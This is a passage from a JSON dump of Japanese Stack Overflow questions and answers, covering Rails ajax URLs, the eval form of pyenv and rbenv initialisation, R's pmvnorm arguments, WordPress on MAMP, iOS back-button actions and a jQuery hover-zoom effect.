\nですので、手っ取り早いのは`window.open(url, '_system')`で \nOSのデフォルトブラウザで開くのが早いのではないでしょうか?\n\nただし1つだけ注意なのですが、 \nあまりURLが長くなると自動でページが開きません。 \n(※ブラウザでエラーが出たような気がします。) \nURL欄には入力されているはずなのでユーザ自信に確定して遷移してもらう形になるかと思います。\n\n* * *\n\n[本家SOの同じ質問](https://stackoverflow.com/questions/22851169/)",
"comment_count": 5,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-21T01:35:54.010",
"id": "32034",
"last_activity_date": "2017-01-21T04:08:50.853",
"last_edit_date": "2017-05-23T12:38:56.083",
"last_editor_user_id": "-1",
"owner_user_id": null,
"parent_id": "32030",
"post_type": "answer",
"score": 1
}
]
| 32030 | null | 32034 |
{
"accepted_answer_id": null,
"answer_count": 1,
"body": "テキストフィールド内に数値を入力させて、それを元に ajax で GET したいです。\n\n```\n\n <%= javascript_tag do %>\n jQuery(function($) {\n $('input[id^=\"multi_entry_user_id\"]').focusout(function(e) {\n $.ajax({\n type: \"GET\",\n url: \"<%= j user_json_multi_entries_url(User.first, format: :json) %>\",\n data: e.target.value,\n dataType: \"script\",\n callback: null,\n success: function (data, status, xhr) {\n console.log('hoge success:' + status);\n },\n error: function (data, status, xhr) {\n console.log('hoge error:' + status);\n }\n });\n });\n });\n <% end %>\n \n```\n\n`User.first` の部分をユーザの入力値にする方法をご教示願います。",
"comment_count": 2,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-21T02:51:34.920",
"favorite_count": 0,
"id": "32038",
"last_activity_date": "2017-06-03T12:40:53.663",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "7208",
"post_type": "question",
"score": 0,
"tags": [
"ruby-on-rails",
"jquery"
],
"title": "javascript_tag の中で url_for に入力された値をセットしたい",
"view_count": 257
} | [
{
"body": "とりあえず自己解決したので報告です。\n\nまずは以下のような HTML を生成し、、、、\n\n```\n\n <div class=\"col-sm-2\" data-user-url=\"http://locahost:3000/multi_entries/user_json/999999.json\">\n \n```\n\n以下の javascript で URL 文字列を加工するようにしました。\n\n```\n\n var t = $(this).closest(\"[data-user-url]\").data('user-url');\n var url = t.replace(\"999999.json\", e.target.value + \".json\");\n \n```\n\n\"999999\" の文字列を置換しているところがイケてないですね...(>_<)",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-30T04:47:03.410",
"id": "32245",
"last_activity_date": "2017-01-30T04:47:03.410",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "7208",
"parent_id": "32038",
"post_type": "answer",
"score": 1
}
]
| 32038 | null | 32245 |
{
"accepted_answer_id": "32047",
"answer_count": 1,
"body": "pyenv, rbenv等の使い方として.bashrcなりでeval`\"$(XXXenv init\n-)\"`という初期化をする必要があるようですが、2点不明な点があります。\n\n * evalで実行する意味 \n直接 `XXXenv init -`とするのではなく、evalを使うことにどういった意図があるのでしょうか?\n\n * `-`の意味 \n何を意味しているのか。カレントシェルで実行する`.`みたいなものなのかなとは思っているのですが、情報が見つかりませんでした。\n\n**追記** \nXXXenv init\nは標準出力に文字列を返してそれをevalで実行しているのですね。直接実行しないでevalを使わせる理由はなんでしょうか?実行権限をつける必要がないからとかですかね?\n\n`-`はただのXXXenvへの引数でしかないことはわかりました。`-`ってどういった意味で使われることが多いのでしょうか?",
"comment_count": 12,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-21T15:06:08.597",
"favorite_count": 0,
"id": "32043",
"last_activity_date": "2017-01-23T04:43:39.777",
"last_edit_date": "2017-01-23T04:43:39.777",
"last_editor_user_id": "19110",
"owner_user_id": "17238",
"post_type": "question",
"score": 5,
"tags": [
"ruby",
"python",
"linux",
"bash",
"shellscript"
],
"title": "XXXenv の初期化時のeval \"$(XXXenv init-)\"の意味",
"view_count": 4317
} | [
{
"body": "### evalについて\n\n今回の場合、`eval`を使いたい理由の1つは、シェルの環境変数や関数を設定したいということにあると思います。変数でも関数でも状況は大体同じなので、以下では変数についてのみ説明します。\n\n`eval`をつけずにinitスクリプトを実行するとわかりますが、`pyenv init`や`rbenv\ninit`ではそれぞれの環境変数を設定するために`export`を使っています。 \nしかし、シェルにおいてシェルスクリプトはサブシェル等で実行されるため、コマンド内で変数を`export`しても元のシェルにはなんら影響がありません。\n\nたとえば、bashにおいて変数`EXAMPLE`を1に設定したかったとします。このとき、`export`しているシェルスクリプトを直に実行しても意味がありません。\n\n```\n\n $ cat test1.sh\n export EXAMPLE=1\n $ ./test1.sh\n $ echo $EXAMPLE\n \n $\n \n```\n\nそこで`eval`を使うと、この処理は以下のように書けます。\n\n```\n\n $ cat test2.sh\n echo 'export EXAMPLE=1'\n $ eval \"$(./test2.sh)\"\n $ echo $EXAMPLE\n 1\n $ \n \n```\n\nこのような処理をするために、init系のスクリプトで`eval`を使うのではないかと思います。\n\n尚、上の動作は、bashにおいて`.`コマンドないし`source`コマンドを使って`.\ntest1.sh`と書いても良いですが、このコマンドは他のシェルと互換しないことがあります。具体的にはたとえばfishにおいては`.`がdeprecatedで`source`を使うことを推奨していますが([参考1](https://fishshell.com/docs/current/commands.html#source)、[2](https://github.com/fish-\nshell/fish-\nshell/issues/310))、特定のkshにおいては`source`がありません([参考](https://unix.stackexchange.com/questions/58514/what-\nis-the-difference-between-and-source-in-shells))。\n\nまた、より一般の場合、`eval`を使いたい理由は他にもあります。[\"eval command in Bash and its typical\nuses\"](https://stackoverflow.com/questions/11065077/eval-command-in-bash-and-\nits-typical-uses) などをご覧ください。\n\n### `-`について\n\nシェルスクリプトにおいて、ハイフン1文字は「標準入力から読んで下さい」「標準出力に書いてください」といった意味になることが多いです。(そういう意味にしているコマンドが多いというだけであり、普通シェル側が特別に処理する記号になっていないというだけなので、例外はあります。たとえばbashの`cd`ビルトインコマンドでは`cd\n-`は「1つ前のディレクトリに移る」になります)\n\n`pyenv\ninit`においても、[ソースコード](https://github.com/yyuu/pyenv/blob/master/libexec/pyenv-\ninit)を見る限り、そのように処理しているようです。`rbenv\ninit`も[同様です](https://github.com/rbenv/rbenv/blob/master/libexec/rbenv-init)。\n\n参考\n\n * [\"What does dash “-” at the end of a command mean?\"](https://unix.stackexchange.com/questions/41828/what-does-dash-at-the-end-of-a-command-mean)\n * [\"Usage of dash (-) in place of a filename\"](https://unix.stackexchange.com/questions/16357/usage-of-dash-in-place-of-a-filename)\n * \"shell script single hyphen\" (またはdash) などで検索すると出てきます。",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-21T22:59:53.163",
"id": "32047",
"last_activity_date": "2017-01-22T05:36:40.897",
"last_edit_date": "2017-05-23T12:38:56.083",
"last_editor_user_id": "-1",
"owner_user_id": "19110",
"parent_id": "32043",
"post_type": "answer",
"score": 12
}
]
| 32043 | 32047 | 32047 |
{
"accepted_answer_id": "32048",
"answer_count": 1,
"body": "*R言語のmvtnormパッケージの多変数累積密度関数`pmvnorm()`を使用して、2次元の正規分布関数の任意の範囲の累積確率密度(確率)を取得したいのですが、この関数の引数lower,upper(ベクトルで指定)が何を意味しているのか分かりません。この引数の意味を教えて頂きたいですm(__)m\n\n関数`pmvnorm()`のヘルプ \n<http://math.furman.edu/~dcs/courses/math47/R/library/mvtnorm/html/pmvnorm.html>\n\n以下実装中コードです。\n\n```\n\n library( MASS ) # MASS package(ピマ・インディアンPima のデータを使用)\n library( mvtnorm ) # 多変量正規分布を扱う\n \n # set options\n options( digits=5 ) # 表示桁数\n \n # Pima data expand on memory\n data( Pima.tr )\n data( Pima.te )\n \n # copy data from Pima data\n lstPimaTrain <- list(\n numNoDiabetes = 0, # 糖尿病未発症人数(0で初期化)\n numDiabetes = 0, # 糖尿病発症人数(0で初期化)\n glu = Pima.tr$glu, \n bmi = Pima.tr$bmi, \n bResult = rep(FALSE, length(Pima.tr$glu)) # 糖尿病か否か?(FALSE:糖尿病でない、 TRUE:糖尿病)\n )\n \n # Pima.tr$type のデータ(Yes,No)を符号化[encoding]\n for ( i in 1:length(Pima.tr$type) ) \n {\n if(Pima.tr$type[i] == \"Yes\" )\n {\n lstPimaTrain$numDiabetes <- (lstPimaTrain$numDiabetes + 1)\n lstPimaTrain$bResult[i] <- TRUE\n }\n else if( Pima.tr$type[i] == \"No\" )\n {\n lstPimaTrain$numNoDiabetes <- (lstPimaTrain$numNoDiabetes + 1)\n lstPimaTrain$bResult[i] <- FALSE\n }\n else{\n # Do Nothing\n }\n }\n \n # sort Pima data\n lstPimaTrain$glu <- lstPimaTrain$glu[ order(lstPimaTrain$bResult) ]\n lstPimaTrain$bmi <- lstPimaTrain$bmi[ order(lstPimaTrain$bResult) ]\n lstPimaTrain$bResult <- lstPimaTrain$bResult[ order(lstPimaTrain$bResult) ]\n \n # split data to class C1 and C2\n dfPimaTrain_C1 <- data.frame(\n glu = lstPimaTrain$glu[1:lstPimaTrain$numNoDiabetes], \n bmi = lstPimaTrain$bmi[1:lstPimaTrain$numNoDiabetes],\n bResult = FALSE # 糖尿病か否か?(FALSE:糖尿病でない、TRUE:糖尿病)\n )\n dfPimaTrain_C2 <- data.frame(\n glu = lstPimaTrain$glu[(lstPimaTrain$numNoDiabetes+1): (lstPimaTrain$numNoDiabetes+lstPimaTrain$numDiabetes)], \n bmi = lstPimaTrain$bmi[(lstPimaTrain$numNoDiabetes+1):(lstPimaTrain$numNoDiabetes+lstPimaTrain$numDiabetes)],\n bResult = TRUE # 糖尿病か否か?(FALSE:糖尿病でない、TRUE:糖尿病)\n )\n \n # sort class C1,C2 data\n dfPimaTrain_C1$glu <- dfPimaTrain_C1$glu[ order(dfPimaTrain_C1$glu) ]\n dfPimaTrain_C1$bmi <- dfPimaTrain_C1$bmi[ order(dfPimaTrain_C1$glu) ]\n dfPimaTrain_C2$glu <- dfPimaTrain_C2$glu[ order(dfPimaTrain_C2$glu) ]\n dfPimaTrain_C2$bmi <- dfPimaTrain_C2$bmi[ order(dfPimaTrain_C2$glu) ]\n \n # release memory\n rm(Pima.tr) \n rm(Pima.te)\n \n #-------------------\n # set class C1 data\n #-------------------\n datU1_C1 <- mean( dfPimaTrain_C1$glu ) # クラス1(糖尿病発症なし)の変数1(glu)の平均値\n datU2_C1 <- mean( dfPimaTrain_C1$bmi ) # クラス1(糖尿病発症有り)の変数2(BMI)の平均値\n datU_C1 <- matrix( c(datU1_C1,datU2_C1), nrow = 2, ncol = 1) # クラス1(糖尿病発症なし)の平均ベクトル\n \n matS_C1 <- matrix( c(0,0,0,0), nrow = 2, ncol = 2 ) # クラス1(糖尿病発症なし)の共分散行列\n matS_C1[1,1] <- sqrt( var( dfPimaTrain_C1$glu, dfPimaTrain_C1$glu ) )\n matS_C1[1,2] <- sqrt( var( dfPimaTrain_C1$glu, dfPimaTrain_C1$bmi ) )\n matS_C1[2,1] <- sqrt( var( dfPimaTrain_C1$bmi, dfPimaTrain_C1$glu ) )\n matS_C1[2,2] <- sqrt( var( dfPimaTrain_C1$bmi, dfPimaTrain_C1$bmi ) )\n \n #-------------------\n # set class C2 data\n #-------------------\n datU1_C2 <- mean( dfPimaTrain_C2$glu ) # クラス2(糖尿病発症なし)の変数1(glu)の平均値\n datU2_C2 <- mean( dfPimaTrain_C2$bmi ) # クラス2(糖尿病発症有り)の変数2(BMI)の平均値\n datU_C2 <- matrix( c(datU1_C2,datU2_C2), nrow = 2, ncol = 1) # クラス1(糖尿病発症なし)の平均ベクトル\n \n matS_C2 <- matrix( c(0,0,0,0), nrow = 2, ncol = 2 ) # クラス2(糖尿病発症なし)の共分散行列\n matS_C2[1,1] <- sqrt( var( dfPimaTrain_C2$glu, dfPimaTrain_C2$glu ) )\n matS_C2[1,2] <- sqrt( var( dfPimaTrain_C2$glu, dfPimaTrain_C2$bmi ) )\n matS_C2[2,1] <- sqrt( var( dfPimaTrain_C2$bmi, dfPimaTrain_C2$glu ) )\n matS_C2[2,2] <- sqrt( var( dfPimaTrain_C2$bmi, dfPimaTrain_C2$bmi ) )\n \n \n ##################################\n # secondary idification function\n ##################################\n Dim2IdificationFunc <- function( x1, x2, u_C1, u_C2, matS1, matS2, P_C1=0.5, P_C2=0.5 )\n {\n datX <- matrix( 0, nrow = 2, ncol = 1 )\n datX[1,] <- x1\n datX[2,] <- x2\n matW <- matrix( c(0,0,0,0), nrow = 2, ncol = 2 )\n matW <- ( solve(matS1) - solve(matS2) )\n vct <- ( t(u_C2)%*%solve(matS2) - t(u_C1)%*%solve(matS1) )\n r <- ( t(u_C1)%*%solve(matS1)%*%u_C1 - t(u_C2)%*%solve(matS2)%*%u_C2 + log( det(matS1)/det(matS2) ) - 2*log(P_C1/P_C2) )\n \n z0 <- ( t(datX)%*%matW%*%datX )\n z1 <- ( 2*vct%*%datX )\n z <- ( z0 + z1 + r )\n return(z)\n }\n \n ###############################\n # liner idification function\n ###############################\n Dim1IdificationFunc <- function( x1, x2, u_C1, u_C2, matS1, matS2, P_C1=0.5, P_C2=0.5 )\n {\n datX <- matrix( 0, nrow = 2, ncol = 1 )\n datX[1,] <- x1\n datX[2,] <- x2\n \n matSp <- matrix( c(0,0,0,0), nrow = 2, ncol = 2 )\n matSp <- P_C1*matS1 + P_C2*matS2\n vct <- ( t(u_C2)%*%solve(matSp) - t(u_C1)%*%solve(matSp) )\n r <- ( t(u_C1)%*%solve(matSp)%*%u_C1 - t(u_C2)%*%solve(matSp)%*%u_C2 + log( det(matSp)/det(matSp) ) - 2*log(P_C1/P_C2) )\n \n z <- ( 2*vct%*%datX + r )\n return(z)\n }\n \n #------------------------------\n # set functions values\n #-------------------------------\n datX1 <- seq( from=0, to=200, by=5 ) # glu 軸の値ベクトル\n datX2 <- seq( from=0, to=50, by=1 ) # BMI 軸の値ベクトル\n datX1 <- as.matrix( datX1 )\n datX2 <- as.matrix( datX2 )\n matZDim2 <- matrix( 0, nrow=length(datX1), ncol=length(datX2) )\n matZDim1 <- matrix( 0, nrow=length(datX1), ncol=length(datX2) )\n \n # for loop matZDim2[i,j], matZDim1[i,j]\n for( j in 1:length(datX2) )\n {\n for( i in 1:length(datX1) )\n {\n matZDim2[i,j] <- Dim2IdificationFunc( \n x1 = datX1[i], x2 = datX2[j],\n u_C1 = datU_C1, u_C2 = datU_C2, matS1 = matS_C1, matS2 = matS_C2 \n )\n \n matZDim1[i,j] <- Dim1IdificationFunc( \n x1 = datX1[i], x2 = datX2[j],\n u_C1 = datU_C1, u_C2 = datU_C2, matS1 = matS_C1, matS2 = matS_C2 , \n P_C1 = lstPimaTrain$numNoDiabetes/(lstPimaTrain$numNoDiabetes+lstPimaTrain$numDiabetes),\n P_C2 = lstPimaTrain$numNoDiabetes/(lstPimaTrain$numDiabetes+lstPimaTrain$numDiabetes)\n )\n }\n }\n \n \n ############################\n # ROC Curve #\n ############################\n #-------------------------------------------------\n # get error ratio from Normal distribution (2dim)\n #-------------------------------------------------\n datLow = seq( from = 0.0, to = 200, by = 1.0 ) # idefication-boundary <lower>\n datUp = seq( from = 0.0, to = 200, by = 1.0 ) # idefication-boundary <upper>\n dfROC2 <- data.frame(\n sigma1 = matrix( 0, nrow = 10, ncol = 1 ),\n sigma2 = matrix( 0, nrow = 10, ncol = 1 ),\n sigma = matrix( 0, nrow = 10, ncol = 1 )\n )\n \n # pmvnormの動作確認\n dfROC2$sigma1[1] <- pmvnorm( lower = -Inf, upper = +Inf, mean = as.vector(datU_C1), sigma = matS_C1 )\n dfROC2$sigma1[2] <- pmvnorm( lower = -Inf, upper = datU1_C1, mean = as.vector(datU_C1), sigma = matS_C1 )\n dfROC2$sigma1[3] <- pmvnorm( lower = -Inf, upper = datU1_C1+10, mean = as.vector(datU_C1), sigma = matS_C1 )\n dfROC2$sigma1[4] <- pmvnorm( lower = datU1_C1, upper = +Inf, mean = as.vector(datU_C1), sigma = matS_C1 )\n \n dfROC2$sigma2[1] <- pmvnorm( lower = -Inf, upper = c(0,0), mean = as.vector(datU_C2), sigma = matS_C2 )\n dfROC2$sigma2[2] <- pmvnorm( lower = -Inf, upper = c(50,10), mean = as.vector(datU_C2), sigma = matS_C2 )\n dfROC2$sigma2[3] <- pmvnorm( lower = -Inf, upper = c(100,30), mean = as.vector(datU_C2), sigma = matS_C2 )\n dfROC2$sigma2[4] <- pmvnorm( lower = -Inf, upper = c(150,40), mean = as.vector(datU_C2), sigma = matS_C2 )\n \n \n dfROC2$sigma <- dfROC2$sigma1 + dfROC2$sigma2\n \n print( dfROC2 )\n \n ############################\n # set graphics parameters #\n ############################\n # 軸に関してのデータリスト\n lstAxis <- list( \n xMin = 0.0, xMax = 1.0, # x軸の最小値、最大値\n yMin = 0.0, yMax = 1.0, # y軸の最小値、最大値\n zMin = 0.0, zMax = 1.0, # z軸の最小値、最大値\n xlim = range( c(0.0, 1.0) ), \n ylim = range( c(0.0, 1.0) ), \n zlim = range( c(0.0, 1.0) ),\n mainTitle1 = \"ROC曲線(2次元正規分布)\\n2次識別関数[secondary idification function]\", # 図のメインタイトル(図の上)\n mainTitle2 = \"ROC曲線(2次元正規分布)\\n線形識別関数[liner idification function]\", # 図のメインタイトル(図の上)\n mainTitle3 = \"ROC曲線(2次元正規分布)\\n\", # 図のメインタイトル(図の上)\n subTitle1 = \"2次識別関数[dim2 idification function]\", # 図のサブタイトル(図の下)\n subTitle2 = \"線形識別関数[liner idification function]\", # 図のサブタイトル(図の下)\n subTitle3 = \"2次識別関数+線形識別関数\", # 図のサブタイトル(図の下)\n xlab = \"偽陽性率 [false positive rate]\", # x軸の名前\n ylab = \"真陽性率 [true positive rate]\", # y軸の名前\n zlab = \"z\" # z軸の名前\n )\n lstAxis$xlim = range( c(lstAxis$xMin, lstAxis$xMax) )\n lstAxis$ylim = range( c(lstAxis$yMin, lstAxis$yMax) )\n lstAxis$zlim = range( c(lstAxis$zMin, lstAxis$zMax) )\n \n #########################\n # Draw figure #\n #########################\n # plot ROC Curve\n plot(\n dfROC2$sigma1, dfROC2$sigma2,\n main = lstAxis$mainTitle1,\n xlab = lstAxis$xlab, ylab = lstAxis$ylab,\n xlim = lstAxis$xlim, ylim = lstAxis$ylim,\n type = \"p\" \n )\n grid() # 図にグリッド線を追加強調太字テキスト\n \n```",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-21T19:41:07.277",
"favorite_count": 0,
"id": "32046",
"last_activity_date": "2017-01-31T14:28:27.513",
"last_edit_date": "2017-01-31T14:28:27.513",
"last_editor_user_id": "20266",
"owner_user_id": "20266",
"post_type": "question",
"score": 4,
"tags": [
"r",
"機械学習"
],
"title": "Rのmvtnormパッケージの関数 pmvnorm() の引数 lower,upper の意味について",
"view_count": 1326
} | [
{
"body": "組み込み関数の`pnorm()`は上限しか引数に取れず、下限を考慮した値は引き算で算出する必用がありましたが、`pmvnorm()`は上限・下限ともに引数とすることができます。また複数の正規分布を扱う関数なので、引数mean同様、分布の数だけ指定することが出来ます。\n\n(例)\n\n```\n\n library(mvtnorm)\n \n pnorm(1.5) - pnorm(-0.3) # [1] 0.5511042 (pnormは平均ゼロSD1のデフォ設定です)\n pmvnorm(lower = -0.3, upper = 1.5, mean = 0, sigma = diag(1)) # 0.5511042 \n \n pnorm(2.2, mean = 1) - pnorm(1.2, mean = 1) # [1] 0.3056706\n pmvnorm(lower = 1.2, upper = 2.2, mean = 1, sigma = diag(1)) # 0.3056706 \n \n (pnorm(1.5) - pnorm(-0.3)) * (pnorm(2.2, mean = 1) - pnorm(1.2, mean = 1)) # [1] 0.1684564\n pmvnorm(lower = c(-0.3, 1.2), upper = c(1.5, 2.2), mean = c(0, 1), sigma = diag(2)) # [1] 0.1684564\n \n```",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-22T02:12:16.183",
"id": "32048",
"last_activity_date": "2017-01-22T02:25:22.667",
"last_edit_date": "2017-01-22T02:25:22.667",
"last_editor_user_id": "15653",
"owner_user_id": "15653",
"parent_id": "32046",
"post_type": "answer",
"score": 3
}
]
| 32046 | 32048 | 32048 |
{
"accepted_answer_id": null,
"answer_count": 0,
"body": "wordpressをローカル環境でみれる方法を探しています。\n\nwordpress(php)ではないhtml,cssのファイルはMAMPでみることはできています。 \nwordpressをmanpにてローカル環境でみるためにやったこととしては....\n\n・htdocs内にwordpressファイルを格納する \n・MAMPのopen webstart pageにアクセスしてデータベースにwordpress作成\n\nこれ以前にphpの設定をMAMPで設定する必要があるのか? \nそのMAMPで設定するやり方がよくわかりません。\n\n詳しく理解したいため、おすすめの書籍やサイトを教えていただけるだけでも構いません。 \nぜひ、宜しくお願い致します。",
"comment_count": 2,
"content_license": "CC BY-SA 4.0",
"creation_date": "2017-01-22T04:09:11.423",
"favorite_count": 0,
"id": "32049",
"last_activity_date": "2021-03-06T06:02:46.783",
"last_edit_date": "2021-03-06T06:02:46.783",
"last_editor_user_id": "3060",
"owner_user_id": "20339",
"post_type": "question",
"score": 0,
"tags": [
"wordpress",
"mamp"
],
"title": "wordpressをローカルの MAMP環境でみれる方法を探しています",
"view_count": 107
} | []
| 32049 | null | null |
{
"accepted_answer_id": "32220",
"answer_count": 1,
"body": "お世話になります。 \niOSのアプリをSwift3とXcode8.2.1で作っています。\n\n## やりたいこと\n\nUINavigationControllerの下でshowセグエで画面1と画面2を結びました。 \n画面2に自動で作られた戻るボタンをタップした時に何か判定を入れて画面1に戻ることをキャンセルしたいです。 \nまた戻るアイコンを揃えたいので自動で作られる戻るボタンを使いたいです。\n\n## 試したこと\n\n画面2で`navigationItem.backBarButtonItem`を取得してactionを追加しようとしたのですが取得出来ませんでした。\n\nここで`navigationItem.backBarButtonItem`は遷移先のボタンのことなのだと思って画面1の方で以下のようにactionを設定したのですがtestは呼び出されませんでした。\n\n```\n\n // 画面1のコード\n override func viewDidLoad() {\n super.viewDidLoad()\n let button = UIBarButtonItem(title: \"戻るボタン\", style: .plain, target: self, action: #selector(ViewController1.test))\n self.navigationItem.backBarButtonItem = button\n }\n \n func test() {\n print(\"画面1で追加されました。\")\n }\n \n```\n\nできれば画面2内に関係するコードを収めておきたいです。 \nどうしたらいいでしょうか。よろしくお願いします。\n\n### 追記: iOSのものと似た画像を使い戻るボタン自体を作る方法も試してみました。\n\n[ここを参考](https://stackoverflow.com/questions/31717315/perform-segue-on-press-\non-back-\nbutton/31717425#31717425)にして戻るボタンを作る方法も試してみたのですが調整項目が多くなんだか泥沼へ進んでいる気がします。\n\n```\n\n // 画面2のコード \n override func viewDidLoad() {\n \n super.viewDidLoad()\n \n guard let controllers = self.navigationController?.viewControllers else {\n return\n }\n \n let backButton = UIButton(type: .system)\n backButton.sizeToFit()\n backButton.setImage(#imageLiteral(resourceName: \"戻るアイコンに似た画像\"), for: .normal)\n backButton.titleEdgeInsets = UIEdgeInsets(top: 10, left: 10, bottom: 10, right: 0)\n backButton.setTitle(controllers[controllers.count - 2].navigationItem.title, for: .normal)\n backButton.titleLabel?.font = UIFont.systemFont(ofSize: 17)\n backButton.addTarget(self, action: #selector(ViewController2.test), for: .touchUpInside)\n \n let barButton = UIBarButtonItem(customView: backButton)\n barButton.width = 0\n \n let spacer = UIBarButtonItem(barButtonSystemItem: .fixedSpace, target: nil, action: nil)\n spacer.width = -18\n \n self.navigationItem.leftBarButtonItems = [spacer, barButton]\n \n }\n \n```\n\n一つ前の`ViewController`の`navigationItem`についている`title`を戻るボタンに設定しているのですが、その文字列の長さによって戻るボタンの見た目が大きく変わってしまいます。",
"comment_count": 3,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-22T06:39:05.477",
"favorite_count": 0,
"id": "32052",
"last_activity_date": "2017-01-28T11:48:59.597",
"last_edit_date": "2017-05-23T12:38:55.307",
"last_editor_user_id": "-1",
"owner_user_id": "14222",
"post_type": "question",
"score": 1,
"tags": [
"swift",
"ios",
"uinavigationcontroller"
],
"title": "UINavigationControllerを使って作られる初期の戻るボタンにactionをつけたい",
"view_count": 2307
} | [
{
"body": "## カスタムボタンを使う方法\n\n戻る時に判定を入れるためにカスタムボタンを作る方法を採用しました。 \n使う画像によって設定は変わってきます。\n\n[この方の記事](http://himaratsu.hatenablog.com/entry/ios/customview)のxibでできたViewをSubViewとして設定するコードを参考にxib名を引数に取るUIViewの拡張メソッド(ここではconfigureNib(nibName:\nString)とします)を用意しました。\n\n次にUIBarButtonItem内に配置するCustomViewを作ります。 \nBackButtonCustomViewという名前でxibとUIViewのサブクラスを作ります。\n\nBackButtonCustomViewはこんな感じにして\n\n```\n\n // ストーリーボードでも配置できるがFixedSpaceBarButtonItemがLeftBarButtonItems内に配置できない?\n // のでコードから配置することのが多いかも知れない\n @IBDesignable\n class BackButtonCustomView: UIView {\n \n @IBOutlet var button: UIButton!\n \n // ボタンのラベルを変えたいときはbutton.setTitleではなくこっちを変える\n // actionは公開されているbuttonで設定するのにタイトルは専用のプロパティーでやっているのが気持ち悪い\n @IBInspectable\n var buttonTitle: String = \"Button\" {\n didSet {\n button.setTitle(self.buttonTitle, for: .normal)\n self.configure()\n }\n }\n \n required init?(coder aDecoder: NSCoder) {\n super.init(coder: aDecoder)\n self.configureNib(nibName: self.nibName)\n self.configure()\n }\n \n override init(frame: CGRect) {\n super.init(frame: frame)\n self.configureNib(nibName: self.nibName)\n self.configure()\n }\n \n private let nibName: String = \"BackButtonCustomView\"\n \n private func configure() {\n self.button.sizeToFit()\n // xibで調整した分を足す\n self.button.bounds.size.width += self.button.titleEdgeInsets.left\n self.button.bounds.size.height = 44\n // ボタンを包んでいるViewの大きさを変える\n self.bounds.size.width = self.button.bounds.width\n self.bounds.size.height = self.button.bounds.height\n }\n \n }\n \n```\n\nxibはUIButtonを配置し画像やEdgeInsetsを設定しておきます。 \nFile's ownerを上のUIViewのサブクラスにします。\n\n利用側のコード(質問でいう画面2)ではコードやstoryboardで配置したbarbuttonitem内のカスタムビュー内のボタンに戻るが押された時に使いたいactionを設定します。\n\nコードからの場合\n\n```\n\n override func viewDidLoad() {\n super.viewDidLoad()\n self.setUpBackButton()\n }\n \n private func setUpBackButton() {\n guard let controllers = self.navigationController?.viewControllers else {\n return\n }\n // 前のViewControllerのnavigationItemのタイトルをボタンに設定\n let customView = BackButtonCustomView(frame: CGRect.zero)\n customView.buttonTitle = controllers[controllers.count - 2].navigationItem.title!\n customView.button.addTarget(self, action: #selector(画面2.exit), for: .touchUpInside)\n let backButton = UIBarButtonItem(customView: customView)\n // 戻るボタンが右過ぎるので調整用のBarButtonItem\n let spacer = UIBarButtonItem(barButtonSystemItem: .fixedSpace, target: nil, action: nil)\n spacer.width = -12\n self.navigationItem.leftBarButtonItems = [spacer, backButton]\n }\n \n```\n\nstoryboardからの場合\n\n```\n\n @IBOutlet weak var customButton: UIBarButtonItem!\n \n override func viewDidLoad() {\n super.viewDidLoad()\n (self.customButton.customView as! BackButtonCustomView).button\n .addTarget(self, action: #selector(画面2.exit), for: .touchUpInside)\n }\n \n```\n\nBarButtonItemの位置調整をすることになるのですがこれをボタン側でやろうとすると(contentInsetでマイナスを入れていくなどすると)タップできる範囲がずれてしまいます。 \nそこでFlexedSpaceBarButtonItemを調整用に置く方法で行こうと思いました。\n\n標準の戻るボタンのデザインの更新の際に一箇所(ボタン側)だけ修正するようにしたいのですがナビゲーションバーのサブクラスを作ったりしないといけなさそうで戻る時に判定を入れるということよりも興味が広がってしまうのでは?と思いこうしました。 \nUIBarButtonItemのサブクラスを作ってプロパティーを経由して中のUIButtonにactionやタイトルを設定するというのもいいかもしれませんが抽象的?になりすぎている気がしたのでやめました。\n\nもっと綺麗に正しく書く方法があると思うのでそのときは何方かよろしくお願いします。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-28T11:48:59.597",
"id": "32220",
"last_activity_date": "2017-01-28T11:48:59.597",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "14222",
"parent_id": "32052",
"post_type": "answer",
"score": 1
}
]
| 32052 | 32220 | 32220 |
{
"accepted_answer_id": "32068",
"answer_count": 1,
"body": "リンクの演出として実現したいことがあり投稿させていただきました。 \n実現したいことは下記の通りです。\n\n 1. リンク要素にロールオーバーした際に画面全体を拡大表示(アニメーション不要)\n 2. 拡大された際に該当リンク要素+マウスが画面中央に来るように\n 3. リンク要素にマウスが乗っているあいだは(画面全体含めて)マウスの動きに追従(アニメーション不要)\n 4. リンク要素からマウスが外れたら標準表示(拡大率1.0)に戻る\n\n**解決したい問題** \n上記「2」以降の実装。 \n以下に現状のコードを示します。\n\nSass(scss)\n\n```\n\n @import \"compass\";\n .zoom {\n @include scale(2);\n }\n \n```\n\nJavaScript(jquery-3.1.1.min使用)\n\n```\n\n var main =\n {\n handlerInOutHandler: function(e)\n {\n $('body').toggleClass('zoom');\n }\n };\n $(function()\n {\n $('a').on('mouseenter mouseleave', main.handlerInOutHandler);\n });\n \n```\n\n以上、ご教授いただけますと幸いです。 \nどうぞよろしくお願いいたします。",
"comment_count": 5,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-22T12:13:14.363",
"favorite_count": 0,
"id": "32054",
"last_activity_date": "2017-01-23T04:01:38.827",
"last_edit_date": "2017-01-23T03:35:03.067",
"last_editor_user_id": "18487",
"owner_user_id": "18487",
"post_type": "question",
"score": 0,
"tags": [
"javascript",
"jquery",
"css"
],
"title": "ロールオーバーした要素を起点に(画面全体含めて)マウスに追従させたい",
"view_count": 406
} | [
{
